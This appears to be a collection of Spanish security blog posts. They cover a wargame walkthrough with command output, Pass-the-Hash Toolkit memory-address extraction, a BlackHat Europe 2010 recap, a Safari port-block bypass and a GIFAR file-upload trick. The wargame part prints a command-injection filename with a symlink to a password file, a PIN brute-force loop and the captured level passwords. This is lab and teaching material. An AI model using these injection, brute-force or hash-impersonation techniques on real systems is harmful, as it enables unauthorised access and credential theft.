drwxr-xr-x 2 root level5 4096 2008-03-26 02:41 .
drwx------ 3 level5 level5 4096 2008-03-26 02:41 ..
-r-sr-s--- 1 level6 level5 7519 2008-03-26 02:34 bin

Como en el resto de ocasiones, vamos a ejecutar el binario a ver que es lo que hace:

$ ./bin
00110110 01101100 01111001 01110110 01001100 01011000 01000011 01000001 00001010

No nos pide ningún tipo de entrada, así que probablemente está sacando esto que nos enseña de algún fichero cuya ruta tiene en el interior del código, al igual que pasaba con el nivel 3. Vamos a hacerle un pequeño ltrace al binario a ver que fichero está abriendo:

$ ltrace ./bin
__libc_start_main(0x80483e4, 1, 0xbffffac4, 0x8048530, 0x80484e0
fopen("/home/level6/.passwd", "r")

¡Vaya! Parece que no nos va a hacer falta hacer ningún tipo de trampeo, ya que está sacando esta información que nos muestra precisamente del fichero que guarda la contraseña del siguiente nivel. El único problema es que nos la está mostrando en formato binario, pero eso buscando en Google algún conversor se arregla fácilmente:

Contraseña Nivel6: 6lyvLXCA

Solución al Nivel 6

Para pasar al nivel 7 esta vez tenemos que "destripar" un binario llamado printfile, cuyo nombre ya nos hace pensar que pasar este nivel va a ser parecido a pasar el nivel 3. Veamos lo que hace este binario:

$ ./printfile
*** File Printer ***
Usage: ./printfile filename

Mmmmm, ¿Nos deja pasarle el nombre del fichero? No puede ser tan fácil:

$ ./printfile /home/level7/.passwd
You cant have that file...

Era demasiado bonito para ser verdad, pero todavía no está todo perdido, vamos a crear un fichero accesible y trazar a ver como funciona:

$ echo PATATA > /tmp/myfile
$ ./printfile /tmp/myfile
PATATA

$ ltrace ./printfile /tmp/myfile
__libc_start_main(0x8048424, 2, 0xbffffab4, 0x8048570, 0x8048520
access("/tmp/myfile", 0) = 0
snprintf("/bin/cat /tmp/myfile", 511, "/bin/cat %s", "/tmp/myfile") = 20
system("/bin/cat /tmp/myfile"PATATA

--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++

Parece ser que el binario realiza en primer lugar una llamada a la función "access" para comprobar los permisos del fichero que queremos abrir, y posteriormente contruye una cadena que realiza un "cat nuestra_entrada", claramente vulnerable a injección de comandos. El problema que tenemos es que sea cual sea la entrada que le pongamos (con la inyección de comandos incluida), debe existir un fichero con ese mismo nombre, para que dicho control no sea efectivo.

Después de algunas pruebas, y de comprobar que el caracter / nos daba algunos problemas, vimos que la solución era crear un fichero cuyo nombre contuviera un espacio seguido del nombre del fichero .passwd del siguiente nivel, así podriamos hacer bypass de la función access, puesto que dicho fichero existe, pero al formar la cadena con la que se llama a system nos quedaría algo así como "cat file .passwd", con lo que el primero nos devolverá un error (no existe) pero el contenido del segundo nos será mostrado. Veamoslo:

$ cd /tmp
$ ln -s /home/level7/.passwd symlink
$ echo PATATA > "myfile symlink"
$ /wargame/printfile "myfile symlink"
/bin/cat: myfile: No such file or directory
X98ZdPfp

Contraseña Nivel7: X98ZdPfp

Solución al Nivel 7

Llegamos al séptimo y último nivel, en el que tenemos un binario "sphinx" del que, antes de nada, tendremos que averiguar que hace exactamente. Repitiendo los pasos que hemos realizado para resolver en los anteriores niveles, trazamos su ejecución a ver que nos encontramos:

$ ./sphinx
usage: ./sphinx <4>

$ ./sphinx 1234
Wrong

$ ltrace ./sphinx 1234
__libc_start_main(0x8048464, 2, 0xbffffac4, 0x8048550, 0x8048500
atoi(0xbffffbd3, 0x8049714, 0xbffffa28, 0x8048321, 0xbffffa50) = 1234
puts("Wrong"Wrong
) = 6
+++ exited (status 6) +++

Como podemos ver, no parece que el binario realice muchas llamadas, pero entre ellas sí que nos llama la atención una llamada a la función "atoi" ("ascii to integer"), con la que se convierte la cadena de texto que hemos introducido ("1234") a su entero correspondiente (1234). Probablemente la comparación con el PIN que nos va a permitir pasar este último nivel no se realiza como comparación de dos cadenas, sino como una simple comparación de dos enteros dentro de una sentencia "if", lo cual es un problema a la hora de realizar la traza, puesto que no se realiza ninguna llamada externa y por tanto no podemos averiguar con este método cual es el PIN secreto.

La manera más inmediata de hacerlo sería desensamblar el binario y buscar exactamente que comparaciones hace tras llamar a "atoi", pero siento el PIN un número entero de 4 digítios tal y como se nos indica en el binario, casi que no merece la pena hacer ningún tipo de desensamblado, ya que podemos recorrer todas las posibles soluciones y comprobar sus resultados mediante un ataque de fuerza bruta en un tiempo muy acotado. En este caso, yo lo he hecho con este pequeño shellscript, aunque seguro que hay formas más eficientes de hacerlo:

$ time for a in 0 1 2 3 4 5 6 7 8 9
do
for b in 0 1 2 3 4 5 6 7 8 9
do
for c in 0 1 2 3 4 5 6 7 8 9
do
for d in 0 1 2 3 4 5 6 7 8 9
do
./sphinx $a$b$c$d | grep -i wrong &>/dev/null
if [ $? -ne 0 ]
then
echo $a$b$c$d
fi
done
done
done
done
sh-3.1$ exit
exit
7123

real 1m12.020s
user 0m3.768s
sys 1m4.100s

¡BINGO! Ya lo tenemos. La ejecución se ha quedado parada en la clave "7123", momento en el cual nos ha devuelto una shell, que hemos cerrado inmediatamente para ver cuanto tiempo nos ha costado realizar un ataque de fuerza bruta contra todos los posibles PINs. En este caso, como podemos ver, poco más de 1 minuto. Una vez que tenemos el PIN del binario ya solo tenemos que usarlo para conseguir la contraseña del último nivel:

$ ./sphinx 7123
sh-3.1$
sh-3.1$ id
uid=1006(level7) gid=1006(level7) euid=1007(level8) groups=1006(level7)
sh-3.1$
sh-3.1$ cat /home/level8/.passwd
FsnC0xl7

Contraseña Nivel8: FsnC0xl7

Una vez que llegamos al nivel 8 ya no existen más binarios, es el último nivel. Lo único que tenemos es un fichero de texto que nos da la enhorabuena por haber superado todos los niveles del reto:

¿Qué me decís?
¿Lo habeis probado?
¿Qué os ha parecido?
¿Alguna otra manera de resolver alguno de los retos?

A mi personalmente me ha parecido un reto divertido, suficientemente divertido como para pegarle un ojo al resto de retos que hay en la misma web ;)

Pass-the-hash Toolkit & IDA Pro

noreply@blogger.com (Jose Selvi) — Wed, 21 Apr 2010 05:32:00 +0000

Hace unas semanas publicamos un post sobre la presentación que hicimos en las Conferencias FIST de Barcelona, en las que explicamos técnicas de post-explotación en sistemas Windows, entre ellas las técnicas conocidas como Pass-the-Hash.

En ese post, se nos hizo un comentario sobre los argumentos con los que llamábamos a las diferentes herramientas que forman parte del Pass-the-Hash Toolkit. A pesar de que la pregunta fue respondida brevemente en otro comentario, hemos considerado oportuno escribir otro post centrándonos en este Toolkit, sus diferentes herramientas, y de que forma podemos llamarlo para obtener de él los resultados esperados.

Entramos al trapo!:

El Pass-the-Hash Toolkit consta principalmente de 2 binarios/herramientas:

WHOSTHERE.EXE: Consulta en la memoria los hashes de los usuarios autenticados en el sistema. Muy útil para saber si estamos utilizando las direcciones de memoria correctas o si hemos cambiado el hash correctamente.
IAM.EXE: Sobreescribe en la memoria el hash de nuestro usuario actual por el hash al que queremos suplantar, lo cual nos convierte a todos los efectos en ese usuario de cara al resto de elementos de la red.

Ambas herramientas acceden a la memoria, concretamente a la librería LSASRV.DLL, para leer o escribir (respectivamente) la información relacionada con los usuarios autenticados y sus respectivos hashes. Esta información, sin embargo, no siempre está disponible en la misma dirección de memoria, ya que puede variar en función de la versión de Windows, Service Pack, etc.

Para contrarrestar esta dificultad, el Pass-the-Hash Toolkit implementa un método heurístico con el que intenta buscar en la memoria estos elementos por si mismo. Sin embargo, se ha podido comprobar que dicha heurística no encuentra siempre correctamente estas direcciones. Por ello, Hernán Ochoa, desarrollador de la herramienta, pone a nuestra disposición la opción "-h", con la que podemos pasarla a la herramienta de forma manual las direcciones de memoria adecuadas, con los que la herramienta nos proporciona la flexibilidad necesaria como para que pueda funcionar en cualquier tipo de sistema.

Durante la demo que hicimos en las Conferencias FIST de Barcelona, disponíamos de un dichero XPSpanish.txt en el que teníamos guardadas estas direcciones de memoria, que habíamos obtenido previamente:

75403BA0:753EFDEC:75480C98:75480CA0:7547FC60:7547FE54

Estas mismas direcciones deberían ser válidas para cualquier sistema Windows XP SP3 en Español, pero por si queréis probarlas con otros idiomas, otro Service Pack, o cualquier caso, vamos a detallar como hemos obtenido estas direcciones.

En realidad, al contrario de lo que se pueda pensar, no vamos a tener que pegarnos con el ensamblador ni ser unos gurús del reversing para obtener estas direcciones, ya que Hernán Ochoa ha creado para nosotros un "script" para IDA Pro (podéis descargaros la versión Free) que nos va a permitir obtener dichas direcciones de forma totalmente automática.

Dicho "script" lo podemos obtener únicamente de la versión "source code" de la herramienta, por lo que deberemos descargarla a pesar de que no vayamos a modificar código fuente. Tras descomprimir el TGZ entraremos en el directorio "iam", y dentro de él en el directorio "idc", dentro del cual veremos que existe un dichero "passthehash.idc". Los ficheros IDC contienen un código de scripting para IDA que nos permite automatizar algunas tareas.

Ejecutamos la herramienta IDA Pro Free y lo primero que tenemos que hacer es cargar la librería LSASRV.DLL para análisis. Para ello seleccionamos "New" en la primera ventana que nos aparece y elegimos la opción "PE Dynamic Library", ya que lo que queremos desensamblar es una librería:

Una vez hecho esto tendremos que elegir que librería queremos desensamblar. La librería que queremos nosotros está en C:\WINDOWS\SYSTEM32\lsasrv.dll :

Tras seleccionar la librería, IDA nos dará varias opciones para afinar como queremos que haga el análisis. En realidad, es indiferente que elijamos para esta ocasión, podemos dejarlas todas por defecto o podemos desmarcarlas todas hasta llegar a una ventana en la que se nos pregunta si queremos cargar los símbolos del sistema. En esta ventana es importante que seleccionemos SI, ya que sino el IDC no va a funcionar correctamente. El binario se cargará en unos segundo y nos mostrará una ventana como esta:

Ahora que ya tenemos la librería desensamblada solo tenemos que cargar el IDC dándole al menú "File" y eligiendo la opción "IDC File", con la que podremos buscar el fichero IDC que previamente habíamos obtenido (passthehash.idc). Instantáneamente tras cargar el script nos salen en la ventana inferior del IDA unas lineas que comienzan por "#define" de las que podemos sacar las direcciones que necesitamos:

Bueno, ya hemos obtenido las direcciones con las que podremos utilizar el Pass-the-Hash Toolkit sobre el sistema sobre el que hemos utilizado IDA o, en general, en cualquier sistema en general, aunque en cualquier caso se recomienda utilizar siempre primero whosthere.exe para comprobar que estamos usando las direcciones correctas, ya que iam.exe altera la memoria del proceso y podría provocar inestabilidad en el mismo si dichas direcciones no son correctas.

Para más información sobre como utilizar Pass-The-Hash Toolkit os remitimos al post que pusimos sobre las Conferencias FIST.

BlackHat Europe 2010 - Barcelona

noreply@blogger.com (Jose Selvi) — Mon, 19 Apr 2010 06:38:00 +0000

Tal y como ya anunciamos, la semana pasada estuvimos por Barcelona los días 14 y 15 para asitir a la edición Europea de una de las conferencias de seguridad más conocidas del mundo: Las Conferencias BlackHat.

La verdad es que las conferencias no me defraudaron en absoluto, desde el KeyNote inicial de Max Kelly, CSO de FaceBook, ya se huele la vertiente técnica que tanto nos apasiona en todo lo que rodea a las BlackHat. Para empezar, nos quedamos con una frase para el recuerdo de la presentación de Max Kelly que nos vais a permitir que pongamos en mayusculas y bien centradita:

COMPLIANCE ISN'T SECURITY
(Cumplimiento no es Seguridad)

Me encanta! Me hubiera gustado tener esta cita firmada por una persona de tanto peso hace tiempo para rebatir a algún que otro responsable que he tenido en el pasado. Seguro que más de uno también le hubiera venido bien :)

Tras el KeyNote inicial nos encontramos ante la difícil decisión de elegir a que charlas vamos a asistir, ya que las tres salas simultaneas con su impresionante schedule de alto contenido técnico te dejan con las ganas de poderte "desdoblar" y asistir a todas ellas. Si no somos capaces de hacer algo así no nos quedará más remedio que elegir con algún tipo de criterio. Si vas por tu cuenta nosotros recomendamos elegir aquellas que pienses que pueden resultarte más difíciles de entender y que por tanto te va a venir bien ver la explicación en directo y poder hacer preguntas (las otras, a mirar el paper). Si te ha mandado tu empresa seguramente llevarás un planning más o menos estricto de las conferencias que interesan más a tu empresa o a tu equipo, así que un quebradero de cabeza menos, ya que al final, vayas a lo que vayas, va a ser de altísima calidad.

Pues vale, ya tenemos las conferencias a las que queremos asistir elegidas, así que llega el momento de ir arriba y abajo cambiando de sala, cruzandote con personas conocidas del mundo de la seguirdad como Lorenzo Martinez de SecurityByDefault, Chema Alonso (aka El Maligno), los Sexy Pandas, representación de Taddong, los chicos de TB-Security y un largo etcetera.

Esta fue, mejor o peor, nuestra elección, que pasamos a comentar de forma resumida por no hacer de este un post interminable:

"Hardware is the New Software" (Joe Grand): Hoy en día las empresas más importantes son plenamente conscientes (aunque a veces no lo parezca) del peligro que representa el software y los fallos asociados al mismo. De desarrollan herramientas y se dedican recursos a la auditoría de software. Pero... ¿qué pasa con el hardware? En esta charla Joe nos hizo ver lo descuidada que está la seguridad de dispositivos hardware, que al final no deja de ser lo mismo que el software solo que en dispositivos empotrados por medio de microcontroladores y circuitos, pero que igualmente se les puede realizar la ingeniería inversa y encontrar vulnerabilidades al igual que se realiza con sus equivalentes software. El equipo necesario, al contrario de lo que se pueda pensar, no resulta tan caro, lo cual abre la puerta a este mundo tan poco explorado y, por tanto, peligroso. ¿Ejemplos? Cajeros automáticos, Tarjetas de Parking, Sistemas de Voto electrónico, ... !Atención empresas! Más información.

"Security in depth for Linux Software" (Julien Tinnes & Chris Evans): En esta charla, Julien y Chris nos dieron un buen repaso sobre las diferentes técnicas mediantes las cuales se puede implementar SandBoxing en Sistemas Linux como medida de mitigación del impacto ante la explotación de vulnerabilidades en el software. Evidentemente, tras explotar una vulnerabilidad, el impacto va a ser directamente proporcional a los privilegios de que disponga el proceso que se encontraba ejecutando el software vulnerable, de tal forma que explotar una vulnerabilidad de un software ejecutado en un proceso que no tiene privilegios para acceder a disco, red, memoria ni ejecutar nada puede ser completamente inútil. Con esta idea surge este concepto de SandBoxing, basado en el concepto de mínimo privilegio. A lo largo de la presentación, Julien y Chris nos hicieron un repaso sobre las diferentes técnicas que se pueden emplear para realizar SandBoxing en Linux (según ellos no muy dotado para ello), ilustrado mediante dos ejemplos de software que utilizan estas técnicas: vsftpd y Chromium (lógico viniendo de dos empleados de Google). RECOMIENDO mucho la lectura en profundidad de este paper a aquellos que realicen desarrollo de software sobre sistemas Linux y que quieran mejorar la seguridad de sus desarrollos. Más información en esta presentación que hicieron para otra conferencia en Malasia, pero que es idéntica.

"Verifying eMRTD Security Controls" (Raoul D'Costa): Interesante conferencia sobre las medidas de seguridad empleadas por los ePassport que nos recordó a una que dio Adam Laurie en las SOURCE el pasado año. La charla fue interesante, pero hemos de reconocer que nos faltó algún tipo de demostración práctica como la que hizo Adam, al que pudimos ver en vivo clonando y falsificando pasaportes electrónicos.

"SCADA & ICS for Security Experts" (James Arlen): Lamentamos decir esto, pero floja, muy floja, flojíiiiiisima conferencia de James Arlen sobre SCADA. Una impresión compartida por todos los que asistimos allí pensando en que nos hablarían de seguridad técnica en sistemas SCADA (algo muy interesante) pero que acabamos viendo como la conferencia se limitó a decir que los sistemas SCADA de verdad son los realmente grandes y que esos es IMPOSIBLE (fue muy osado al decirlo, la verdad) que sufran un ciberataque, aunque bueno, también dijo que los SCADA de una central nuclear no eran verdaderos sistemas scada, así que... Sin comentarios.

"Attacking Java Serialized Communication" (Manish Saindane): En esta conferencia se presentaba una serie de herramientas que podían ser utilizadas en combinación con BurpProxy para realizar auditoría sobre las Serialized Communication de Java. Las Serialized Communications de Java envían un objeto Java completo convertido en una secuencia de bytes en hexadecimal desde un cliente hasta un servidor. La utilización de este medio de transmisión dificulta el proceso de auditoría, ya que nos vemos obligados a editar directamente esta secuencia para intentar averiguar si a través de alguno de los parámetros del objeto podemos encontrar vulnerabilidades en el software. Para evitar la edición en hexadecimal, se ha desarrollado un script en Ruby que instalado adecuadamente junto al conocido Burp Proxy puede ayudarnos a editar cada uno de los campos de un objeto de forma mucho más sencilla, ya que realiza de forma automática la transformación de cadena de hexadecimales a objeto y viceversa tras ser modificado. Podemos descargar el software de este enlace u obtener más información sobre su proceso de instalación en el blog del ponente. Más información.

"Binding the Daemon: FreeBSD Stack & Heap Exploitation" (Patroklos Argyroudis): Me encantó esta conferencia. En general las conferencias y charlas sobre exploiting siempre me gustan, pero la verdad es que fue interesante ver las opciones que tenemos para realizar un Stack o Heap Overflow en un sistema FreeBSD, mucho menos investigado de los sistemas Windows o Linux a pesar de ser uno de los principalmente utilizados como servidores web en Internet. Todo perfectamente explicado y con demostraciones de elevación de privilegios totalmente "reliables", es decir, con payloads hechos a medida para evitar inestabilidades en el sistema. Me gustó especialmente una vulnerabilidad en una de las funciones a las que se llama para montar particiones, un sprintf de un "La opción %s no existe" a un buffer de error de solo 255 caracteres, todo un clásico, increible que siga ocurriendo en la actualidad. Muy recomendado para todos aquellos apasionados del exploiting. Os paso el blog del ponente, aunque aún no ha publicado nada.

"Abusing JBoss" (Chistian Papathanasiou): La verdad es que esta charla no fue como la esperabamos. Por lo que se comentó a la salida con otros asistentes, todos esperabamos algún tipo de técnicas o fallos de seguridad de desarrollos, implantaciones o instalaciones por defecto de JBoss, pero realmente lo que nos encontramos fue una pequeña herramienta desarrollada por el ponente que servía para automatizar la explotación de entornos JBoss y Tomcat que tienen disponible su panel de administración con contraseña por defecto. Para estos sistemas, la herramienta realizaba una serie de acciones que nos llevaba a tomar el control de la máquina por medio del despliegue de un JSP-Shell que nos permitía a su vez subir un payload de Metasploit como pueda ser Meterpreter, VNC o un simple Bind_TCP, y ejecutarlo, tomando de esta manera control de la máquina. La herramienta me parece útil, no por su complejidad técnica, que es realmente poca, sino porque es una herramienta que te permite automátizar el proceso de explotación y hacerlo más rápido, algo muy útil si nos encontramos con este tipo de vulnerabilidades en un gran número de máquinas. En cualquier caso, la aportación, aunque existe, no parecía estar a la altura de otras ponencias que se vieron en estas conferencias. Más información.

"Targeted Attacks: From being a victim to counter attacking" (Andrzej Dereszowski): Esta fue otra de nuestras favoritas. En esta ponencia, Andrzej nos mostró como realizar el proceso de "contra-ataque" ante un intento de ataque dirigido contra nuestra empresa. En este caso, el método elegido por el atacante contra nosotros fue un PDF que explotaba una vulnerabilidad de Acrobat Reader y que fue enviado a los buzones de correo de la organización. Tras analizar el PDF se pudo obtener el payload que ejecutaba y analizar, encontrándose la existencia en él de un conocido BackDoor llamado "Poison Ivy". Tras un análisis con sus correspondientes técnicas de ocultación del debugger, se obtuvo la dirección a la que conecta dicho BackDoor, con lo que obteniamos un objetivo contra el que contra-atacar. Ahora que sabemos que el atacante está corriendo en una IP que acabamos de obtener de hacer Reverse Engineering del troyano una versión cliente del software "Poison Ivy", solo tenemos que encontrar alguna vulnerabilidad en dicho software que nos permita tomar a nosotros el control de la máquina del atacante. Por medio de técnicas de Fuzzing, Andrzej encuentra una vulnerabilidad y desarrolla un exploit con el que poder conseguir visibilidad sobre las acciones del atacante pero sin provocar el cierre del software vulnerable, de tal forma que el acatante no se entere de nada. Una vez dentro, nos enseño unas capturas que hizo de consolas de administración de este BackDoor en las que se veían todas las máquinas comprometidas. Sencillamente genial, sin duda ilegal, pero sencillamente genial :)

"0-Knowledge Fuzzing" (Vincenzo Lozzo): A pesar de que es una nueva técnica y aún no se han obtenido resultados en forma de vulnerabilidades descubiertas, me pareció un concepto muy interesante el de Vicenzo Lozzo y su manera de utilizar un lenguaje intermedio como REIL para a partir de ahí seleccionar las funciones interesantes y realizar sobre ellas un in-memory fuzzing. Esta última técnica consiste en la modificación del contenido de las variables, no en su entrada a la aplicación, en la que tenemos que guardar un formato concreto, sino directamente en la memoria. Presumiblemente esta es una aproximación que debería dar muchos mejores resultados que un dumb-fuzzing y de una forma mucho más eficiente y exahustiva que un smart-fuzzing. Sin embargo, por lo que comentó el propio Vincenzo, por el momento la tasa de falsos positivos es alta. Sin duda una técnica a la que merece la pena hacerle un seguimiento a ver como va madurando con el tiempo. Os recomiendo pegarle un vistazo al paper y a la presentación.

"Virtual Forensics" (Christiaan Beek): Elegimos esta charla porque sin duda cada vez se ve más virtualización por todas partes. Mejor o peor implementada (hay cada sitio...), pero sin duda es una tecnología muy desplegada por la cantidad de posibilidades que tiene. Sin embargo, no todo son ventajas, ya que estas capas de virtualización puede dificultar la tarea de un Incident Handler o de un Investigador Forense a la hora de trazar una intrusión o algún otro tipo de incidente. La solución pasa por conocer en profundidad las tecnologías de virtualización más comunes y saber a donde debemos acudir para obtener la información deseada. En esta ponencia se comentó la virtualización empleada por los sistemas Citrix, VMWare y Windows 7 (que según parece lleva un sistema Virtual PC integrado para asegurar la compatibilidad con XP), así como los diferentes ficheros y registros interesantes que deberemos analizar para realizar una correcta gestión de un incidente. Referencia muy recomendable para todos aquellos Incident Handlers o Analistas Forenses.

Para más información, lo mejor es acudir a archivo de las conferencias y descargarse los papers originales, aunque para eso aún tendremos que esperar algunos días más.

De algunas de las cosas que vimos en las BlackHat, evidentemente, vamos a cacharrear y probablemente pongamos algún post en más profundidad.

Bypass Safari Port Blocking (XPS)

noreply@blogger.com (José Miguel Holguín) — Sat, 10 Apr 2010 19:15:00 +0000

El día 23 de Marzo la gente de Goatse Security ha hecho público en la lista seclists.org una vulnerabilidad para saltarste el bloqueo de puertos que llevan los navegadores de Apple. El problema nace de un integer overflow del número de puerto fijado en una dirección url.

Los chicos de Goatse Security realizan las pruebas de concepto con una ipad; en cambio nosotros vamos a ver qué tal funciona la vulnerabilidad con un iphone (también ha sido probada con Safari para Windows):

1. Primero vamos a levantar un puerto 25 en una máquina que hará de "posible servidor smtp":

2. Desde el navegador de nuestro iphone accedemos a la ip donde está escuchando el netcat en el puerto 25 (192.168.1.124) y recibimos el siguiente mensaje:

3. Ahora como bien leemos en el advisory, si nosotros en vez de visitar el puerto 25, visitamos el puerto 65536 (número de puertos TCP) más 25, es decir el 65561, obtendremos el siguiente resultado:

Como vemos, hemos saltado la protección del navegador del bloqueo de puertos; y como bien comenta la gente de Goatse Security, un atacante que ponga una página web maliciosa y que aproveche esta vulnerabilidad podrá realizar diferentes acciones sobre una víctima, como intentar el envio de correos a través de servidores de correo corporativos, realizar ataques de fuerza bruta sobre dispositivos, etc.

Esperaremos los parches que corrijan esta y otras vulnerabilidades asociadas a los productos de la manzana para poder navegar un poquito más seguros.

BlackHat Europe 2010: Allá vamos!

noreply@blogger.com (Jose Selvi) — Thu, 08 Apr 2010 05:54:00 +0000

La próxima semana, entre el 12 y el 15 de Abril tendrá lugar en Barcelona una de las Conferencias de Seguridad de mayor fama del mundo, en su edición Europea, la cual tradicionalmente ha tenido lugar en Amsterdam, pero que en esta ocasión va a tener lugar en nuestro pais:

BLACKHAT EUROPE 2010 (Barcelona)

Los eventos se dividen en dos partes: Los dos primeros días tendrán lugar los Training (cursos de formación), mientras que los dos últimos días podremos asistir a los Briefings (charlas/ponencias).

Los Training son cursos de formación de dos jornadas de duración de todo tipo de temáticas relacionadas con la seguridad técnica, como por ejemplo:

Exploit Laboratory
Hardware Hacking & Reverse Engineering
Mac Hacking
Virtualization (In)Security
WarfaRE: Offensive Reverse Engineering
Web Application (in)Security

Por contra, los Briefing son las típicas charlas a las que la BlackHat nos tiene acostumbrados en la que los ponentes nos desvelan las últimas técnicas, herramientas, etc. En este caso, la BlackHat Europe 2010 va a disponer de 3 salas simultáneas en las que tendremos temáticas de seguridad web, hardware, exploits y forensics. Algunos ejemplos:

Next Generation ClickJacking
FreeBSD Kernel Stack and Heap Exploitation
Universal XSS via IE8s Filters
0-Knowledge Fuzzing
Oracle Interrupted: Stealing Sessions and Credentials

Como podemos ver, unas conferencias de altísimo nivel que al menos desde Pentester.es no nos queremos perder, así que estaremos por Barcelona los días 14 y 15 de Abril para asistir a los Briefing y ver que se cuece :)

"Web App Penetration Testing and Ethical Hacking" del SANS en Madrid

noreply@blogger.com (Jose Selvi) — Mon, 05 Apr 2010 05:42:00 +0000

Respondiendo al éxito del curso de "SEC504: Hacking Techniques, Exploits & Incident Handling" que estamos en estos momentos impartiendo en la modalidad Mentor entre Pedro Eisman y yo mismo, el SANS Institute ya tiene preparados para los sucesivos meses nuevos cursos que se impartirán en diferentes modalidades en España, concretamente en Madrid.

Sin ir más lejos, entre los días 20 y 25 de Septiembre de este año, tendrá lugar en Madrid uno de los cursos más recientes del SANS Institute, el "SEC542: Web App Penetration Testing & Ethical Hacking" en la modalidad Community SANS. Esta modalidad, al contrario de lo que sucede con la modalidad Mentor, es completamente presencial, es decir, a lo largo de los 6 días consecutivos de 6 horas de duración se imparten todos y cada uno de los contenidos del curso, lo cual puede permitir a personas de fuera de Madrid asistir a este curso, ya que se imparte en su totalidad en estos 6 días consecutivos.

El instructor, todo un Instructor Certificado del SANS Institute con experiencia impartiendo cursos de SANS por toda Europa, y de las pocas personas del mundo que pueden presumir de ostentar el certificado GSE (GIAC Security Expert), el certificado de más alto nivel de SANS Institute/GIAC: Raúl Siles, Analista de Seguridad Senior y Co-Fundador de Taddong, una nueva empresa de seguridad que está empezando a ofrecer diversos tipos de servicios de seguridad de alta especialización técnica. Todo eso aquí en Madrid, solo para nosotros y en Español (con los materiales en Inglés). Un auténtico lujo.

En cuanto al curso, exactamente el mismo al que asistiríamos si viajáramos a Londres, Munich, Dublín o cualquier otro de los destinos habituales de las Conferencias del SANS Institute.

Durante estos 6 días, el curso tocará los diferentes tipos de técnicas y vulnerabilidades que podemos encontrar en aplicaciones web, y la manera de explotarlas, tanto en el lado servidor como en el lado cliente, algo muchas veces olvidado pero que representa uno de los vectores de ataque más sencillos para los atacantes. A esto le añadimos, no solo todo tipo de técnicas para explotar vulnerabilidades en aplicaciones web, sino también todas las técnicas de pentesting sobre el servicio web, como puedan ser debilidades en SSL, descubrimiento de Hosts Virtuales y un largo etcetera.

Todo esto junto, perfectamente organizado, práctico y con ejemplos al más puro estilo SANS Institute, con un instructor de auténtico lujo y con clases en Español. Muy muy MUY recomendable.

A fin de cuentas... ¿quién de los presentes no tiene en su empresa una (o mil) aplicaciones web expuestas a Internet que no pueden protegerse mediante cortafuegos u otras técnicas habituales? Si a eso le juntamos que las aplicaciones web son generalmente software realizado a medida que, en muchas ocasiones, no pasan los controles y auditorías necesarias antes de su paso a producción (y mi experiencia como Pentester es prueba de ello), eso convierte la seguridad en aplicaciones web en una disciplina imprescindible para cualquier empresa. Si no dominas este tema, esta es tu oportunidad. ¡No la dejes pasar!

GIFAR otro "steganography trick"

noreply@blogger.com (José Miguel Holguín) — Mon, 29 Mar 2010 05:47:00 +0000

Hace cosa de unos meses a través de Jeremiah Grossman descubrí una técnica esteganográfica de nombre GIFAR y que fue presentado en las BlackHat US 2008. Esta técnica fue expuesta por "Billy Rios, Nathan McFeters, Rob Carter, and John Heasman" y consiste en juntar un fichero GIF y un fichero JAR. Por regla general todos los formatos de imagen poseen la cabecera que los identifica al principio del fichero ("GIF87a" o "GIF89a" para el caso de GIF) por este motivo las aplicaciones empieza por el principio para validar si es una imagen; por contra las aplicaciones que tratan ficheros JAR empiezan por el final. Si nos encontramos ante una auditoria donde tenemos una funcionalidad de upload de ficheros aplicaremos esta técnica para subir contenido GIFAR; la aplicación realizará sus comprobaciones y verá que es una imagen bien formada o un pdf (PDFAR) bien formado etc. Como regalito habremos podido subir un fichero JAR y por tanto haber pasado las comprobaciones de la aplicación.

Después de tanto rollo vamos a crear un simple prueba de concepto. Lo primero construiremos un simple fichero JAVA que realiza un alert de las cookie's:

Ahora lo vamos a compilar y crear nuestro GIFAR con unos comando rápidos:

# javac holamundo.java
# jar -cf holamundo.jar holamundo.class
# cat gifjar.gif holamundo.jar > gifjar2.gif

Si ahora vemos el fichero resultante con el visor de imágenes de Windows (por ejemplo):

Como vemos tenemos un fichero que es una imagen válida. Ahora vamos a subirla a una aplicación web e invocaremos el fichero de imagen para ver qué pasa. Para la prueba subimos el fichero a DVWA mediante la funcionalidad de Upload:

El fichero subido lo podremos ver en la url "http://192.168.72.133/webapp/dvwa/hackable/uploads/gifjar2.gif". Ahora construimos una página Web para poder invocar esta imagen como applet:

Si visitamos la página web poniendo como archive la imagen, vemos que se ejecuta:

Debe quedar claro que lo importante de la imagen anterior es que existe la posibilidad de invocar la imagen como un applet y esto funciona; no siendo relevante que se muestre la cookie en los mostrado anteriormente.

Llegados a este punto, uno se pone a pensar cómo podría realmente ser explotado por parte de un atacante esta técnica. Para esto haremos referencia al libro "Hacking: the next generation" donde uno de los autores es Billy Rios (os suena ... :P). En el libro se expone una manera "cuanto menos" curiosa para explotar este trick. Os lo resumo a continuación, pero para más información mejor que leáis el libro porque merece la pena:

1. Subimos un PDFAR (PDF + JAR) a una aplicación que permite upload de ficheros PDF (en la PoC del libro utilizan docs.google.com).

2. Una vez subido compartimos el fichero con el resto de usuarios de la aplicación. Puede darse el caso que la aplicación tengo también dentro de su dominio una funcionalidad de traducción (en la PoC del libro utilizando translate.google.com). Con esto podemos aprovecharnos y enviar un enlace a las víctimas con una página web de fuera del dominio de la aplicación pero que al ser servida por la funcionalidad de traducción, la página maliciosa ya se ejecuta en el contexto de la aplicación a atacar.

Espero que podáis probar el trick en vuestra auditorías :).

¿Qué otras maneras se os ocurre de aprovechar este "steganograpy trick"?
¿Qué otros tricks de este tipo utilizáis?

WebSearch: Encuentra Hosts Virtuales

noreply@blogger.com (Jose Selvi) — Mon, 22 Mar 2010 06:27:00 +0000

En muchas ocasiones, cuando realizamos un test de intrusión, nos encontramos con la dificultad de tener que auditar servidores web con múltiples virtual hosts con sus respectivas páginas web. Es importante conocer cuantos más virtual hosts de la máquina mejor, puesto que las probabilidades de encontrar algún fallo en la aplicación web que nos permita "empezar nuestra magia" aumentan cuantas más webs encontremos.

Para encontrar estos virtual hosts, así como más dominios diferentes pero pertenecientes a una misma empresa, me hice hace tiempo un script en Pyhton llamado WebSearch, al que se le puede pasar un rango de IPs y consulta con Bing IP a IP para obtener los virtual hosts de la máquina.

Evidentemente, esta aproximación no es perfecta, puesto que un host virtual que no es enlazado desde ningún sitio nunca va a ser encontrado, pero en general una web se pone ahí para que alguien la vea, así que vamos a obtener unos resultados aceptables.

